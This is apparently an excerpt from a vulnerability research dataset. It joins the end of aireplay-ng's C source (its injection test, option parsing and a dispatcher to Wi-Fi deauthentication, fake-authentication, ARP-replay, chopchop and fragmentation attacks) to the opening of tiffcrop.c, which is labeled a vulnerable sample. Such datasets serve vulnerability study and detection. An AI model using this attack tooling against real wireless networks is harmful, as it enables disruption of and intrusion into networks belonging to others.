h80211[0] == packet[0] ) { k=1; break; } } else if(i==1) //attack -1 (open) { if( h80211[0] == packet[0] ) { k=1; break; } } else if(i==2) //attack -1 (psk) { if( h80211[0] == packet[0] && memcmp(h80211+24, packet+24, caplen-24) == 0 ) { k=1; break; } } else if(i==3) //attack -2/-3/-4/-6 { if( h80211[0] == packet[0] && memcmp(h80211+24, packet+24, caplen-24) == 0 ) { k=1; break; } } else if(i==4) //attack -5/-7 { if( h80211[0] == packet[0] && memcmp(h80211+24, packet+24, caplen-24) == 0 ) { if( (packet[1] & 0x04) && memcmp( h80211+22, packet+22, 2 ) == 0 ) { k=1; break; } } } } gettimeofday( &tv2, NULL ); if (((tv2.tv_sec*1000000 - tv.tv_sec*1000000) + (tv2.tv_usec - tv.tv_usec)) > (3*atime*1000)) //wait 3*'atime' ms for an answer { break; } usleep(10); } } if(k) { k=0; if(i==0) //attack -0 { PCT; printf("Attack -0: OK\n"); } else if(i==1) //attack -1 (open) { PCT; printf("Attack -1 (open): OK\n"); } else if(i==2) //attack -1 (psk) { PCT; printf("Attack -1 (psk): OK\n"); } else if(i==3) //attack -3 { PCT; printf("Attack -2/-3/-4/-6: OK\n"); } else if(i==4) //attack -5 { PCT; printf("Attack -5/-7: OK\n"); } } else { if(i==0) //attack -0 { PCT; printf("Attack -0: Failed\n"); } else if(i==1) //attack -1 (open) { PCT; printf("Attack -1 (open): Failed\n"); } else if(i==2) //attack -1 (psk) { PCT; printf("Attack -1 (psk): Failed\n"); } else if(i==3) //attack -3 { PCT; printf("Attack -2/-3/-4/-6: Failed\n"); } else if(i==4) //attack -5 { PCT; printf("Attack -5/-7: Failed\n"); } } } if(!gotit && answers) { PCT; printf("Injection is working!\n"); if(opt.fast) return 0; gotit=1; } } return 0; } int main( int argc, char *argv[] ) { int n, i, ret; /* check the arguments */ memset( &opt, 0, sizeof( opt ) ); memset( &dev, 0, sizeof( dev ) ); opt.f_type = -1; opt.f_subtype = -1; opt.f_minlen = -1; opt.f_maxlen = -1; opt.f_tods = -1; opt.f_fromds = -1; opt.f_iswep = -1; opt.ringbuffer = 8; opt.a_mode = -1; opt.r_fctrl = -1; opt.ghost = 0; opt.delay = 15; opt.bittest = 0; opt.fast = 0; opt.r_smac_set = 0; opt.npackets = 1; opt.nodetect = 0; opt.rtc = 1; opt.f_retry = 0; opt.reassoc = 0; /* XXX */ #if 0 #if defined(__FreeBSD__) /* check what is our FreeBSD version. injection works only on 7-CURRENT so abort if it's a lower version. */ if( __FreeBSD_version < 700000 ) { fprintf( stderr, "Aireplay-ng does not work on this " "release of FreeBSD.\n" ); exit( 1 ); } #endif #endif while( 1 ) { int option_index = 0; static struct option long_options[] = { {"deauth", 1, 0, '0'}, {"fakeauth", 1, 0, '1'}, {"interactive", 0, 0, '2'}, {"arpreplay", 0, 0, '3'}, {"chopchop", 0, 0, '4'}, {"fragment", 0, 0, '5'}, {"caffe-latte", 0, 0, '6'}, {"cfrag", 0, 0, '7'}, {"test", 0, 0, '9'}, {"help", 0, 0, 'H'}, {"fast", 0, 0, 'F'}, {"bittest", 0, 0, 'B'}, {"migmode", 0, 0, '8'}, {"ignore-negative-one", 0, &opt.ignore_negative_one, 1}, {0, 0, 0, 0 } }; int option = getopt_long( argc, argv, "b:d:s:m:n:u:v:t:T:f:g:w:x:p:a:c:h:e:ji:r:k:l:y:o:q:Q0:1:23456789HFBDR", long_options, &option_index ); if( option < 0 ) break; switch( option ) { case 0 : break; case ':' : printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); case '?' : printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); case 'b' : if( getmac( optarg, 1 ,opt.f_bssid ) != 0 ) { printf( "Invalid BSSID (AP MAC address).\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'd' : if( getmac( optarg, 1, opt.f_dmac ) != 0 ) { printf( "Invalid destination MAC address.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 's' : if( getmac( optarg, 1, opt.f_smac ) != 0 ) { printf( "Invalid source MAC address.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'm' : ret = sscanf( optarg, "%d", &opt.f_minlen ); if( opt.f_minlen < 0 || ret != 1 ) { printf( "Invalid minimum length filter. [>=0]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'n' : ret = sscanf( optarg, "%d", &opt.f_maxlen ); if( opt.f_maxlen < 0 || ret != 1 ) { printf( "Invalid maximum length filter. [>=0]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'u' : ret = sscanf( optarg, "%d", &opt.f_type ); if( opt.f_type < 0 || opt.f_type > 3 || ret != 1 ) { printf( "Invalid type filter. [0-3]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'v' : ret = sscanf( optarg, "%d", &opt.f_subtype ); if( opt.f_subtype < 0 || opt.f_subtype > 15 || ret != 1 ) { printf( "Invalid subtype filter. [0-15]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'T' : ret = sscanf(optarg, "%d", &opt.f_retry); if ((opt.f_retry < 1) || (opt.f_retry > 65535) || (ret != 1)) { printf("Invalid retry setting. [1-65535]\n"); printf("\"%s --help\" for help.\n", argv[0]); return(1); } break; case 't' : ret = sscanf( optarg, "%d", &opt.f_tods ); if(( opt.f_tods != 0 && opt.f_tods != 1 ) || ret != 1 ) { printf( "Invalid tods filter. [0,1]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'f' : ret = sscanf( optarg, "%d", &opt.f_fromds ); if(( opt.f_fromds != 0 && opt.f_fromds != 1 ) || ret != 1 ) { printf( "Invalid fromds filter. [0,1]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'w' : ret = sscanf( optarg, "%d", &opt.f_iswep ); if(( opt.f_iswep != 0 && opt.f_iswep != 1 ) || ret != 1 ) { printf( "Invalid wep filter. [0,1]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'x' : ret = sscanf( optarg, "%d", &opt.r_nbpps ); if( opt.r_nbpps < 1 || opt.r_nbpps > 1024 || ret != 1 ) { printf( "Invalid number of packets per second. [1-1024]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'o' : ret = sscanf( optarg, "%d", &opt.npackets ); if( opt.npackets < 0 || opt.npackets > 512 || ret != 1 ) { printf( "Invalid number of packets per burst. [0-512]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'q' : ret = sscanf( optarg, "%d", &opt.delay ); if( opt.delay < 1 || opt.delay > 600 || ret != 1 ) { printf( "Invalid number of seconds. [1-600]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'Q' : opt.reassoc = 1; break; case 'p' : ret = sscanf( optarg, "%x", &opt.r_fctrl ); if( opt.r_fctrl < 0 || opt.r_fctrl > 65535 || ret != 1 ) { printf( "Invalid frame control word. [0-65535]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'a' : if( getmac( optarg, 1, opt.r_bssid ) != 0 ) { printf( "Invalid AP MAC address.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'c' : if( getmac( optarg, 1, opt.r_dmac ) != 0 ) { printf( "Invalid destination MAC address.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'g' : ret = sscanf( optarg, "%d", &opt.ringbuffer ); if( opt.ringbuffer < 1 || ret != 1 ) { printf( "Invalid replay ring buffer size. [>=1]\n"); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'h' : if( getmac( optarg, 1, opt.r_smac ) != 0 ) { printf( "Invalid source MAC address.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.r_smac_set=1; break; case 'e' : memset( opt.r_essid, 0, sizeof( opt.r_essid ) ); strncpy( opt.r_essid, optarg, sizeof( opt.r_essid ) - 1 ); break; case 'j' : opt.r_fromdsinj = 1; break; case 'D' : opt.nodetect = 1; break; case 'k' : inet_aton( optarg, (struct in_addr *) opt.r_dip ); break; case 'l' : inet_aton( optarg, (struct in_addr *) opt.r_sip ); break; case 'y' : if( opt.prga != NULL ) { printf( "PRGA file already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } if( read_prga(&(opt.prga), optarg) != 0 ) { return( 1 ); } break; case 'i' : if( opt.s_face != NULL || opt.s_file ) { printf( "Packet source already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.s_face = optarg; opt.port_in = get_ip_port(opt.s_face, opt.ip_in, sizeof(opt.ip_in)-1); break; case 'r' : if( opt.s_face != NULL || opt.s_file ) { printf( "Packet source already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.s_file = optarg; break; case 'z' : opt.ghost = 1; break; case '0' : if( opt.a_mode != -1 ) { printf( "Attack mode already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.a_mode = 0; for (i=0; optarg[i] != 0; i++) { if (isdigit((int)optarg[i]) == 0) break; } ret = sscanf( optarg, "%d", &opt.a_count ); if( opt.a_count < 0 || optarg[i] != 0 || ret != 1) { printf( "Invalid deauthentication count or missing value. [>=0]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case '1' : if( opt.a_mode != -1 ) { printf( "Attack mode already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.a_mode = 1; for (i=0; optarg[i] != 0; i++) { if (isdigit((int)optarg[i]) == 0) break; } ret = sscanf( optarg, "%d", &opt.a_delay ); if( opt.a_delay < 0 || optarg[i] != 0 || ret != 1) { printf( "Invalid reauthentication delay or missing value. [>=0]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case '2' : if( opt.a_mode != -1 ) { printf( "Attack mode already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.a_mode = 2; break; case '3' : if( opt.a_mode != -1 ) { printf( "Attack mode already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.a_mode = 3; break; case '4' : if( opt.a_mode != -1 ) { printf( "Attack mode already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.a_mode = 4; break; case '5' : if( opt.a_mode != -1 ) { printf( "Attack mode already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.a_mode = 5; break; case '6' : if( opt.a_mode != -1 ) { printf( "Attack mode already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.a_mode = 6; break; case '7' : if( opt.a_mode != -1 ) { printf( "Attack mode already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.a_mode = 7; break; case '9' : if( opt.a_mode != -1 ) { printf( "Attack mode already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.a_mode = 9; break; case '8' : if( opt.a_mode != -1 ) { printf( "Attack mode already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.a_mode = 8; break; case 'F' : opt.fast = 1; break; case 'B' : opt.bittest = 1; break; case 'H' : printf( usage, getVersion("Aireplay-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC) ); return( 1 ); case 'R' : opt.rtc = 0; break; default : goto usage; } } if( argc - optind != 1 ) { if(argc == 1) { usage: printf( usage, getVersion("Aireplay-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC) ); } if( argc - optind == 0) { printf("No replay interface specified.\n"); } if(argc > 1) { printf("\"%s --help\" for help.\n", argv[0]); } return( 1 ); } if( opt.a_mode == -1 ) { printf( "Please specify an attack mode.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } if( (opt.f_minlen > 0 && opt.f_maxlen > 0) && opt.f_minlen > opt.f_maxlen ) { printf( "Invalid length filter (min(-m):%d > max(-n):%d).\n", opt.f_minlen, opt.f_maxlen ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } if ( opt.f_tods == 1 && opt.f_fromds == 1 ) { printf( "FromDS and ToDS bit are set: packet has to come from the AP and go to the AP\n" ); } dev.fd_rtc = -1; /* open the RTC device if necessary */ #if defined(__i386__) #if defined(linux) if( opt.a_mode > 1 ) { if( ( dev.fd_rtc = open( "/dev/rtc0", O_RDONLY ) ) < 0 ) { dev.fd_rtc = 0; } if( (dev.fd_rtc == 0) && ( ( dev.fd_rtc = open( "/dev/rtc", O_RDONLY ) ) < 0 ) ) { dev.fd_rtc = 0; } if(opt.rtc == 0) { dev.fd_rtc = -1; } if(dev.fd_rtc > 0) { if( ioctl( dev.fd_rtc, RTC_IRQP_SET, RTC_RESOLUTION ) < 0 ) { perror( "ioctl(RTC_IRQP_SET) failed" ); printf( "Make sure enhanced rtc device support is enabled in the kernel (module\n" "rtc, not genrtc) - also try 'echo 1024 >/proc/sys/dev/rtc/max-user-freq'.\n" ); close( dev.fd_rtc ); dev.fd_rtc = -1; } else { if( ioctl( dev.fd_rtc, RTC_PIE_ON, 0 ) < 0 ) { perror( "ioctl(RTC_PIE_ON) failed" ); close( dev.fd_rtc ); dev.fd_rtc = -1; } } } else { printf( "For information, no action required:" " Using gettimeofday() instead of /dev/rtc\n" ); dev.fd_rtc = -1; } } #endif /* linux */ #endif /* i386 */ opt.iface_out = argv[optind]; opt.port_out = get_ip_port(opt.iface_out, opt.ip_out, sizeof(opt.ip_out)-1); //don't open interface(s) when using test mode and airserv if( ! (opt.a_mode == 9 && opt.port_out >= 0 ) ) { /* open the replay interface */ _wi_out = wi_open(opt.iface_out); if (!_wi_out) return 1; dev.fd_out = wi_fd(_wi_out); /* open the packet source */ if( opt.s_face != NULL ) { //don't open interface(s) when using test mode and airserv if( ! (opt.a_mode == 9 && opt.port_in >= 0 ) ) { _wi_in = wi_open(opt.s_face); if (!_wi_in) return 1; dev.fd_in = wi_fd(_wi_in); wi_get_mac(_wi_in, dev.mac_in); } } else { _wi_in = _wi_out; dev.fd_in = dev.fd_out; /* XXX */ dev.arptype_in = dev.arptype_out; wi_get_mac(_wi_in, dev.mac_in); } wi_get_mac(_wi_out, dev.mac_out); } /* drop privileges */ if (setuid( getuid() ) == -1) { perror("setuid"); } /* XXX */ if( opt.r_nbpps == 0 ) { if( dev.is_wlanng || dev.is_hostap ) opt.r_nbpps = 200; else opt.r_nbpps = 500; } if( opt.s_file != NULL ) { if( ! ( dev.f_cap_in = fopen( opt.s_file, "rb" ) ) ) { perror( "open failed" ); return( 1 ); } n = sizeof( struct pcap_file_header ); if( fread( &dev.pfh_in, 1, n, dev.f_cap_in ) != (size_t) n ) { perror( "fread(pcap file header) failed" ); return( 1 ); } if( dev.pfh_in.magic != TCPDUMP_MAGIC && dev.pfh_in.magic != TCPDUMP_CIGAM ) { fprintf( stderr, "\"%s\" isn't a pcap file (expected " "TCPDUMP_MAGIC).\n", opt.s_file ); return( 1 ); } if( dev.pfh_in.magic == TCPDUMP_CIGAM ) SWAP32(dev.pfh_in.linktype); if( dev.pfh_in.linktype != LINKTYPE_IEEE802_11 && dev.pfh_in.linktype != LINKTYPE_PRISM_HEADER && dev.pfh_in.linktype != LINKTYPE_RADIOTAP_HDR && dev.pfh_in.linktype != LINKTYPE_PPI_HDR ) { fprintf( stderr, "Wrong linktype from pcap file header " "(expected LINKTYPE_IEEE802_11) -\n" "this doesn't look like a regular 802.11 " "capture.\n" ); return( 1 ); } } //if there is no -h given, use default hardware mac if( maccmp( opt.r_smac, NULL_MAC) == 0 ) { memcpy( opt.r_smac, dev.mac_out, 6); if(opt.a_mode != 0 && opt.a_mode != 4 && opt.a_mode != 9) { printf("No source MAC (-h) specified. Using the device MAC (%02X:%02X:%02X:%02X:%02X:%02X)\n", dev.mac_out[0], dev.mac_out[1], dev.mac_out[2], dev.mac_out[3], dev.mac_out[4], dev.mac_out[5]); } } if( maccmp( opt.r_smac, dev.mac_out) != 0 && maccmp( opt.r_smac, NULL_MAC) != 0) { // if( dev.is_madwifi && opt.a_mode == 5 ) printf("For --fragment to work on madwifi[-ng], set the interface MAC according to (-h)!\n"); fprintf( stderr, "The interface MAC (%02X:%02X:%02X:%02X:%02X:%02X)" " doesn't match the specified MAC (-h).\n" "\tifconfig %s hw ether %02X:%02X:%02X:%02X:%02X:%02X\n", dev.mac_out[0], dev.mac_out[1], dev.mac_out[2], dev.mac_out[3], dev.mac_out[4], dev.mac_out[5], opt.iface_out, opt.r_smac[0], opt.r_smac[1], opt.r_smac[2], opt.r_smac[3], opt.r_smac[4], opt.r_smac[5] ); } switch( opt.a_mode ) { case 0 : return( do_attack_deauth() ); case 1 : return( do_attack_fake_auth() ); case 2 : return( do_attack_interactive() ); case 3 : return( do_attack_arp_resend() ); case 4 : return( do_attack_chopchop() ); case 5 : return( do_attack_fragment() ); case 6 : return( do_attack_caffe_latte() ); case 7 : return( do_attack_cfrag() ); case 8 : return( do_attack_migmode() ); case 9 : return( do_attack_test() ); default: break; } /* that's all, folks */ return( 0 ); }
./CrossVul/dataset_final_sorted/CWE-787/c/good_2312_0
crossvul-cpp_data_bad_5479_4
/* $Id$ */ /* tiffcrop.c -- a port of tiffcp.c extended to include manipulations of * the image data through additional options listed below * * Original code: * Copyright (c) 1988-1997 Sam Leffler * Copyright (c) 1991-1997 Silicon Graphics, Inc. * Additions (c) Richard Nolde 2006-2010 * * Permission to use, copy, modify, distribute, and sell this software and * its documentation for any purpose is hereby granted without fee, provided * that (i) the above copyright notices and this permission notice appear in * all copies of the software and related documentation, and (ii) the names of * Sam Leffler and Silicon Graphics may not be used in any advertising or * publicity relating to the software without the specific, prior written * permission of Sam Leffler and Silicon Graphics. * * THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, * EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY * WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE. * * IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS OR ANY OTHER COPYRIGHT * HOLDERS BE LIABLE FOR ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL * DAMAGES OF ANY KIND, OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, * DATA OR PROFITS, WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND * ON ANY THEORY OF LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE * OR PERFORMANCE OF THIS SOFTWARE. * * Some portions of the current code are derived from tiffcp, primarly in * the areas of lowlevel reading and writing of TAGS, scanlines and tiles though * some of the original functions have been extended to support arbitrary bit * depths. These functions are presented at the top of this file. * * Add support for the options below to extract sections of image(s) * and to modify the whole image or selected portions of each image by * rotations, mirroring, and colorscale/colormap inversion of selected * types of TIFF images when appropriate. Some color model dependent * functions are restricted to bilevel or 8 bit per sample data. * See the man page for the full explanations. * * New Options: * -h Display the syntax guide. * -v Report the version and last build date for tiffcrop and libtiff. * -z x1,y1,x2,y2:x3,y3,x4,y4:..xN,yN,xN + 1, yN + 1 * Specify a series of coordinates to define rectangular * regions by the top left and lower right corners. * -e c|d|i|m|s export mode for images and selections from input images * combined All images and selections are written to a single file (default) * with multiple selections from one image combined into a single image * divided All images and selections are written to a single file * with each selection from one image written to a new image * image Each input image is written to a new file (numeric filename sequence) * with multiple selections from the image combined into one image * multiple Each input image is written to a new file (numeric filename sequence) * with each selection from the image written to a new image * separated Individual selections from each image are written to separate files * -U units [in, cm, px ] inches, centimeters or pixels * -H # Set horizontal resolution of output images to # * -V # Set vertical resolution of output images to # * -J # Horizontal margin of output page to # expressed in current * units when sectioning image into columns x rows * using the -S cols:rows option. * -K # Vertical margin of output page to # expressed in current * units when sectioning image into columns x rows * using the -S cols:rows option. * -X # Horizontal dimension of region to extract expressed in current * units * -Y # Vertical dimension of region to extract expressed in current * units * -O orient Orientation for output image, portrait, landscape, auto * -P page Page size for output image segments, eg letter, legal, tabloid, * etc. * -S cols:rows Divide the image into equal sized segments using cols across * and rows down * -E t|l|r|b Edge to use as origin * -m #,#,#,# Margins from edges for selection: top, left, bottom, right * (commas separated) * -Z #:#,#:# Zones of the image designated as zone X of Y, * eg 1:3 would be first of three equal portions measured * from reference edge * -N odd|even|#,#-#,#|last * Select sequences and/or ranges of images within file * to process. The words odd or even may be used to specify * all odd or even numbered images the word last may be used * in place of a number in the sequence to indicate the final * image in the file without knowing how many images there are. * -R # Rotate image or crop selection by 90,180,or 270 degrees * clockwise * -F h|v Flip (mirror) image or crop selection horizontally * or vertically * -I [black|white|data|both] * Invert color space, eg dark to light for bilevel and grayscale images * If argument is white or black, set the PHOTOMETRIC_INTERPRETATION * tag to MinIsBlack or MinIsWhite without altering the image data * If the argument is data or both, the image data are modified: * both inverts the data and the PHOTOMETRIC_INTERPRETATION tag, * data inverts the data but not the PHOTOMETRIC_INTERPRETATION tag * -D input:<filename1>,output:<filename2>,format:<raw|txt>,level:N,debug:N * Dump raw data for input and/or output images to individual files * in raw (binary) format or text (ASCII) representing binary data * as strings of 1s and 0s. The filename arguments are used as stems * from which individual files are created for each image. Text format * includes annotations for image parameters and scanline info. Level * selects which functions dump data, with higher numbers selecting * lower level, scanline level routines. Debug reports a limited set * of messages to monitor progess without enabling dump logs. */ static char tiffcrop_version_id[] = "2.4"; static char tiffcrop_rev_date[] = "12-13-2010"; #include "tif_config.h" #include "tiffiop.h" #include <stdio.h> #include <stdlib.h> #include <string.h> #include <math.h> #include <ctype.h> #include <limits.h> #include <sys/stat.h> #include <assert.h> #ifdef HAVE_UNISTD_H # include <unistd.h> #endif #ifdef HAVE_STDINT_H # include <stdint.h> #endif #ifndef HAVE_GETOPT extern int getopt(int argc, char * const argv[], const char *optstring); #endif #ifdef NEED_LIBPORT # include "libport.h" #endif #include "tiffio.h" #if defined(VMS) # define unlink delete #endif #ifndef PATH_MAX #define PATH_MAX 1024 #endif #ifndef streq #define streq(a,b) (strcmp((a),(b)) == 0) #endif #define strneq(a,b,n) (strncmp((a),(b),(n)) == 0) #define TRUE 1 #define FALSE 0 #ifndef TIFFhowmany #define TIFFhowmany(x, y) ((((uint32)(x))+(((uint32)(y))-1))/((uint32)(y))) #define TIFFhowmany8(x) (((x)&0x07)?((uint32)(x)>>3)+1:(uint32)(x)>>3) #endif /* * Definitions and data structures required to support cropping and image * manipulations. */ #define EDGE_TOP 1 #define EDGE_LEFT 2 #define EDGE_BOTTOM 3 #define EDGE_RIGHT 4 #define EDGE_CENTER 5 #define MIRROR_HORIZ 1 #define MIRROR_VERT 2 #define MIRROR_BOTH 3 #define ROTATECW_90 8 #define ROTATECW_180 16 #define ROTATECW_270 32 #define ROTATE_ANY (ROTATECW_90 | ROTATECW_180 | ROTATECW_270) #define CROP_NONE 0 #define CROP_MARGINS 1 #define CROP_WIDTH 2 #define CROP_LENGTH 4 #define CROP_ZONES 8 #define CROP_REGIONS 16 #define CROP_ROTATE 32 #define CROP_MIRROR 64 #define CROP_INVERT 128 /* Modes for writing out images and selections */ #define ONE_FILE_COMPOSITE 0 /* One file, sections combined sections */ #define ONE_FILE_SEPARATED 1 /* One file, sections to new IFDs */ #define FILE_PER_IMAGE_COMPOSITE 2 /* One file per image, combined sections */ #define FILE_PER_IMAGE_SEPARATED 3 /* One file per input image */ #define FILE_PER_SELECTION 4 /* One file per selection */ #define COMPOSITE_IMAGES 0 /* Selections combined into one image */ #define SEPARATED_IMAGES 1 /* Selections saved to separate images */ #define STRIP 1 #define TILE 2 #define MAX_REGIONS 8 /* number of regions to extract from a single page */ #define MAX_OUTBUFFS 8 /* must match larger of zones or regions */ #define MAX_SECTIONS 32 /* number of sections per page to write to output */ #define MAX_IMAGES 2048 /* number of images in descrete list, not in the file */ #define MAX_SAMPLES 8 /* maximum number of samples per pixel supported */ #define MAX_BITS_PER_SAMPLE 64 /* maximum bit depth supported */ #define MAX_EXPORT_PAGES 999999 /* maximum number of export pages per file */ #define DUMP_NONE 0 #define DUMP_TEXT 1 #define DUMP_RAW 2 /* Offsets into buffer for margins and fixed width and length segments */ struct offset { uint32 tmargin; uint32 lmargin; uint32 bmargin; uint32 rmargin; uint32 crop_width; uint32 crop_length; uint32 startx; uint32 endx; uint32 starty; uint32 endy; }; /* Description of a zone within the image. Position 1 of 3 zones would be * the first third of the image. These are computed after margins and * width/length requests are applied so that you can extract multiple * zones from within a larger region for OCR or barcode recognition. */ struct buffinfo { uint32 size; /* size of this buffer */ unsigned char *buffer; /* address of the allocated buffer */ }; struct zone { int position; /* ordinal of segment to be extracted */ int total; /* total equal sized divisions of crop area */ }; struct pageseg { uint32 x1; /* index of left edge */ uint32 x2; /* index of right edge */ uint32 y1; /* index of top edge */ uint32 y2; /* index of bottom edge */ int position; /* ordinal of segment to be extracted */ int total; /* total equal sized divisions of crop area */ uint32 buffsize; /* size of buffer needed to hold the cropped zone */ }; struct coordpairs { double X1; /* index of left edge in current units */ double X2; /* index of right edge in current units */ double Y1; /* index of top edge in current units */ double Y2; /* index of bottom edge in current units */ }; struct region { uint32 x1; /* pixel offset of left edge */ uint32 x2; /* pixel offset of right edge */ uint32 y1; /* pixel offset of top edge */ uint32 y2; /* picel offset of bottom edge */ uint32 width; /* width in pixels */ uint32 length; /* length in pixels */ uint32 buffsize; /* size of buffer needed to hold the cropped region */ unsigned char *buffptr; /* address of start of the region */ }; /* Cropping parameters from command line and image data * Note: This should be renamed to proc_opts and expanded to include all current globals * if possible, but each function that accesses global variables will have to be redone. */ struct crop_mask { double width; /* Selection width for master crop region in requested units */ double length; /* Selection length for master crop region in requesed units */ double margins[4]; /* Top, left, bottom, right margins */ float xres; /* Horizontal resolution read from image*/ float yres; /* Vertical resolution read from image */ uint32 combined_width; /* Width of combined cropped zones */ uint32 combined_length; /* Length of combined cropped zones */ uint32 bufftotal; /* Size of buffer needed to hold all the cropped region */ uint16 img_mode; /* Composite or separate images created from zones or regions */ uint16 exp_mode; /* Export input images or selections to one or more files */ uint16 crop_mode; /* Crop options to be applied */ uint16 res_unit; /* Resolution unit for margins and selections */ uint16 edge_ref; /* Reference edge for sections extraction and combination */ uint16 rotation; /* Clockwise rotation of the extracted region or image */ uint16 mirror; /* Mirror extracted region or image horizontally or vertically */ uint16 invert; /* Invert the color map of image or region */ uint16 photometric; /* Status of photometric interpretation for inverted image */ uint16 selections; /* Number of regions or zones selected */ uint16 regions; /* Number of regions delimited by corner coordinates */ struct region regionlist[MAX_REGIONS]; /* Regions within page or master crop region */ uint16 zones; /* Number of zones delimited by Ordinal:Total requested */ struct zone zonelist[MAX_REGIONS]; /* Zones indices to define a region */ struct coordpairs corners[MAX_REGIONS]; /* Coordinates of upper left and lower right corner */ }; #define MAX_PAPERNAMES 49 #define MAX_PAPERNAME_LENGTH 15 #define DEFAULT_RESUNIT RESUNIT_INCH #define DEFAULT_PAGE_HEIGHT 14.0 #define DEFAULT_PAGE_WIDTH 8.5 #define DEFAULT_RESOLUTION 300 #define DEFAULT_PAPER_SIZE "legal" #define ORIENTATION_NONE 0 #define ORIENTATION_PORTRAIT 1 #define ORIENTATION_LANDSCAPE 2 #define ORIENTATION_SEASCAPE 4 #define ORIENTATION_AUTO 16 #define PAGE_MODE_NONE 0 #define PAGE_MODE_RESOLUTION 1 #define PAGE_MODE_PAPERSIZE 2 #define PAGE_MODE_MARGINS 4 #define PAGE_MODE_ROWSCOLS 8 #define INVERT_DATA_ONLY 10 #define INVERT_DATA_AND_TAG 11 struct paperdef { char name[MAX_PAPERNAME_LENGTH]; double width; double length; double asratio; }; /* European page sizes corrected from update sent by * thomas . jarosch @ intra2net . com on 5/7/2010 * Paper Size Width Length Aspect Ratio */ struct paperdef PaperTable[MAX_PAPERNAMES] = { {"default", 8.500, 14.000, 0.607}, {"pa4", 8.264, 11.000, 0.751}, {"letter", 8.500, 11.000, 0.773}, {"legal", 8.500, 14.000, 0.607}, {"half-letter", 8.500, 5.514, 1.542}, {"executive", 7.264, 10.528, 0.690}, {"tabloid", 11.000, 17.000, 0.647}, {"11x17", 11.000, 17.000, 0.647}, {"ledger", 17.000, 11.000, 1.545}, {"archa", 9.000, 12.000, 0.750}, {"archb", 12.000, 18.000, 0.667}, {"archc", 18.000, 24.000, 0.750}, {"archd", 24.000, 36.000, 0.667}, {"arche", 36.000, 48.000, 0.750}, {"csheet", 17.000, 22.000, 0.773}, {"dsheet", 22.000, 34.000, 0.647}, {"esheet", 34.000, 44.000, 0.773}, {"superb", 11.708, 17.042, 0.687}, {"commercial", 4.139, 9.528, 0.434}, {"monarch", 3.889, 7.528, 0.517}, {"envelope-dl", 4.333, 8.681, 0.499}, {"envelope-c5", 6.389, 9.028, 0.708}, {"europostcard", 4.139, 5.833, 0.710}, {"a0", 33.110, 46.811, 0.707}, {"a1", 23.386, 33.110, 0.706}, {"a2", 16.535, 23.386, 0.707}, {"a3", 11.693, 16.535, 0.707}, {"a4", 8.268, 11.693, 0.707}, {"a5", 5.827, 8.268, 0.705}, {"a6", 4.134, 5.827, 0.709}, {"a7", 2.913, 4.134, 0.705}, {"a8", 2.047, 2.913, 0.703}, {"a9", 1.457, 2.047, 0.712}, {"a10", 1.024, 1.457, 0.703}, {"b0", 39.370, 55.669, 0.707}, {"b1", 27.835, 39.370, 0.707}, {"b2", 19.685, 27.835, 0.707}, {"b3", 13.898, 19.685, 0.706}, {"b4", 9.843, 13.898, 0.708}, {"b5", 6.929, 9.843, 0.704}, {"b6", 4.921, 6.929, 0.710}, {"c0", 36.102, 51.063, 0.707}, 